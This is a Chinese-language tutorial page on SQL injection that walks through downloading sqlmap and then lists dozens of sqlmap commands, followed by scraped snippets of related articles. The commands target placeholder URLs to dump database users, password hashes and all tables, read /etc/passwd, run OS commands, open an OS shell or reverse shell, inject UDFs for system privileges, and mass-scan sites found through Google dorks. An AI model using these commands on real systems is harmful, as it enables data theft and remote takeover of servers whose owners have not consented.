安全攻防之SQL注入

 第一步:

  sqlmap基于Python,所以首先下载:

  http://yunpan.cn/QiCBLZtGGTa7U  访问密码 c26e

  第二步:

  安装Python,将sqlmap解压到Python根目录下;

  第三步:

  小试牛刀,查看sqlmap版本:

  python sqlmap/sqlmap.py -h

  第四步

  通过SQL注入扫描工具扫描网站,找出怀疑有SQL注入问题的URL;

  推荐 啄木鸟 !~~ 《oo》

  第五步:

  1.基础信息


python sqlmap/sqlmap.py -u "http://url/news?id=1" --current-user #获取当前用户名称

python sqlmap/sqlmap.py -u "http://www.xxoo.com/news?id=1" --current-db #获取当前数据库名称

python sqlmap/sqlmap.py -u "http://www.xxoo.com/news?id=1" --tables -D "db_name" #列表名

python sqlmap/sqlmap.py -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段

python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容

  2.信息内容


python sqlmap/sqlmap.py -u "http://url/news?id=1"  --smart  --level 3 --users  # smart智能 level  执行测试等级

python sqlmap/sqlmap.py -u "http://url/news?id=1"  --dbms "Mysql" --users  # dbms 指定数据库类型

python sqlmap/sqlmap.py -u "http://url/news?id=1"    --users  #列数据库用户

python sqlmap/sqlmap.py -u "http://url/news?id=1"    --dbs#列数据库

python sqlmap/sqlmap.py -u "http://url/news?id=1"   --passwords #数据库用户密码

python sqlmap/sqlmap.py -u "http://url/news?id=1"   --passwords-U root  -v 0 #列出指定用户数据库密码

python sqlmap/sqlmap.py -u "http://url/news?id=1"     --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20  #列出指定字段,列出20条

python sqlmap/sqlmap.py -u "http://url/news?id=1"    --dump-all -v 0 #列出所有数据库所有表

python sqlmap/sqlmap.py -u "http://url/news?id=1"   --privileges #查看权限

python sqlmap/sqlmap.py -u "http://url/news?id=1"   --privileges -U root #查看指定用户权限

python sqlmap/sqlmap.py -u "http://url/news?id=1"    --is-dba -v 1 #是否是数据库管理员

python sqlmap/sqlmap.py -u "http://url/news?id=1"    --roles #枚举数据库用户角色

python sqlmap/sqlmap.py -u "http://url/news?id=1"   --udf-inject #导入用户自定义函数(获取系统权限!)

python sqlmap/sqlmap.py -u "http://url/news?id=1"   --dump-all --exclude-sysdbs -v 0 #列出当前库所有表

python sqlmap/sqlmap.py -u "http://url/news?id=1"   --union-cols #union 查询表记录

python sqlmap/sqlmap.py -u "http://url/news?id=1"   --cookie "COOKIE_VALUE" #cookie注入

python sqlmap/sqlmap.py -u "http://url/news?id=1"   -b #获取banner信息

python sqlmap/sqlmap.py -u "http://url/news?id=1" --data "id=3"  #post注入

python sqlmap/sqlmap.py -u "http://url/news?id=1"  -v 1 -f #指纹判别数据库类型

python sqlmap/sqlmap.py -u "http://url/news?id=1"  --proxy"http://127.0.0.1:8118" #代理注入

python sqlmap/sqlmap.py -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE"  #指定关键词

python sqlmap/sqlmap.py -u "http://url/news?id=1"   --sql-shell #执行指定sql命令

python sqlmap/sqlmap.py -u "http://url/news?id=1"   --file /etc/passwd

python sqlmap/sqlmap.py -u "http://url/news?id=1"   --os-cmd=whoami #执行系统命令

python sqlmap/sqlmap.py -u "http://url/news?id=1"   --os-shell #系统交互shell

python sqlmap/sqlmap.py -u "http://url/news?id=1"   --os-pwn #反弹shell

python sqlmap/sqlmap.py -u "http://url/news?id=1"   --reg-read #读取win系统注册表

python sqlmap/sqlmap.py -u "http://url/news?id=1"    --dbs-o "sqlmap.log" #保存进度

python sqlmap/sqlmap.py -u "http://url/news?id=1"    --dbs  -o "sqlmap.log" --resume  #恢复已保存进度sqlmap -g "google语法" --dump-all --batch  #google搜索注入点自动 跑出所有字段攻击实例

python sqlmap/sqlmap.py -u "http://url/news?id=1&Submit=Submit" --cookie="PHPSESSID=41aa833e6d0d28f489ff1ab5a7531406" --string="Surname" --dbms=mysql --users --password

最新内容请见作者的GitHub页:http://qaseven.github.io/

时间: 2024-12-26 21:36:53

安全攻防之SQL注入的相关文章

手把手叫你SQL注入攻防(PHP语法)

1.什么是SQL注入,猛戳wikipedia查看 2.本地测试代码: 如果表单提交正确,就打印hello,"username" 否则,打印"404 not found!" <?php require 'config.php'; $DBConnection = mysql_connect ( "$dbhost", "$dbuser", "$dbpwd" ); mysql_select_db ( &quo

从指示老公买菜的大妈身上,秒懂SQL注入攻防术

据说,这张被命名为"千万别惹程序员"的经典神图最近又诈尸了,频频出现在微博和朋友圈里受众人膜拜. 说膜拜真的一点不夸张,因为这是一条既有态度又有技术含量的车牌遮挡贴,它牛逼的点在于,当你驾车从电子眼下飞驰而过,你的这个伪车牌被拍下时,这串命令将通过OCR变成文本,然后插入到交警系统的数据库.此时,这个车牌就成了SQL注入,假设它排除万难(或数据库防御能力太次)得以奏效,就可以把存放车牌号的数据库给删掉!  SQL注入是什么鬼?  这是怎么做到的?SQL注入又是什么?按照标准释义,SQL

LuManager高危SQL注入0day分析

2015年9月7日阿里云盾态势感知系统捕获到LuManager系统的0day一枚,经证实,该漏洞一旦被黑客利用可直接以最高权限登陆后台,上传webshell, 控制系统数据库.操作虚拟主机,后果不堪设想. 作者:云盾攻防对抗团队 - 千霄 LuManager是一种基于FreeBSD.Zijidelu.Debian.Centos.Ubuntu等Linux/Unix系统的网站服务器管理软件,目前有大量国内用户使用.云盾攻防对抗团队捕获0day后第一时间通知厂商,厂商迅速响应,于8日上午发布安全更新并

Joomla 3.4.3版本 SQL注入漏洞分析

0x00 漏洞分析 漏洞触发的代码位于:/administrator/components/com_contenthistory/models/history.php,getListQuery()函数内: 通过SQL及报错信息,可以知道我们的注入payload被插入到了红色框部分内.跟进getState()函数,位于libraries/legacy/model/legacy.php文件内,代码如下: 从函数参数和官方注释,可以知道,getState()函数功能是获取一个model的属性及属性对应

T-SQL篇如何防止SQL注入的解决方法_MsSql

1.什么是SQL注入 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令.在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击. 2.怎么进行SQL注入 关于怎么进行SQL注入,网上已经有很多文章详细介绍过了,可以参考博友滴答的雨的博文 <SQL注入攻防入门详解>,亲测有效.当执行完文中的5.6.7三步的时候,你会发现服务器上的安全保护措施都已是

MySQL解决SQL注入的另类方法详解_Mysql

本文实例讲述了MySQL解决SQL注入的另类方法.分享给大家供大家参考,具体如下: 问题解读 我觉得,这个问题每年带来的成本可以高达数十亿美元了.本文就来谈谈,假定我们有如下 SQL 模板语句: select * from T where f1 = '{value1}' and f2 = {value2} 现在我们需要根据用户输入值填充该语句: value1=hello value2=5 我们得到了下面的 SQL 语句,我们再提交给数据库: select * from T where f1='h

sql注入之新手入门示例详解_数据库其它

前言 在学习这篇文章之前,至于要学习了SQL注入的前提知识,可以参考之前写的一篇sql注入之必备的基础知识. 认识SQL注入 最开始就从最简单的开始,进入到less-1开始我们的SQL注入学习之旅. 通过改变http://localhost/sqlilabs/Less-1/?id=3的id值,页面上呈现不同的内容(username,password). 那么我们就可以猜测在后台中的SQL语句就是根据前台传入的id值来去对应的数据. 那么SQL语句的写法为: select username,pas

LuManager 高危SQL注入0day分析

本文讲的是 LuManager 高危SQL注入0day分析,2015年9月7日阿里云盾态势感知系统捕获到LuManager系统的0day一枚,经证实,该漏洞一旦被黑客利用可直接以最高权限登陆后台,上传webshell, 控制系统数据库.操作虚拟主机,后果不堪设想. 阿里云安全攻防对抗团队在第一时间通知厂商,厂商迅速响应,于8日上午发布安全更新并致谢阿里云安全. 在此次事件过程中,正是基于云盾态势感知系统灵敏的漏洞捕获能力.阿里云与厂商的快速沟通响应以及厂商负责任的态度,得以保证了阿里云用户不受该

SQL预编译和SQL注入

再说SQL预编译: 最近用go语言时,学习了一下数据库连接的库,这里总结一下SQL预编译相关的知识.貌似网上都是建议使用预编译,我也觉得这种做法靠谱. 先谈 SQL注入: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过让原SQL改变了语义,达到欺骗服务器执行恶意的SQL命令.其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统. 其实,反过来考虑,这也是SQL这类解释性语言本身的缺陷,安全和易用性总是相对的.类似的Sh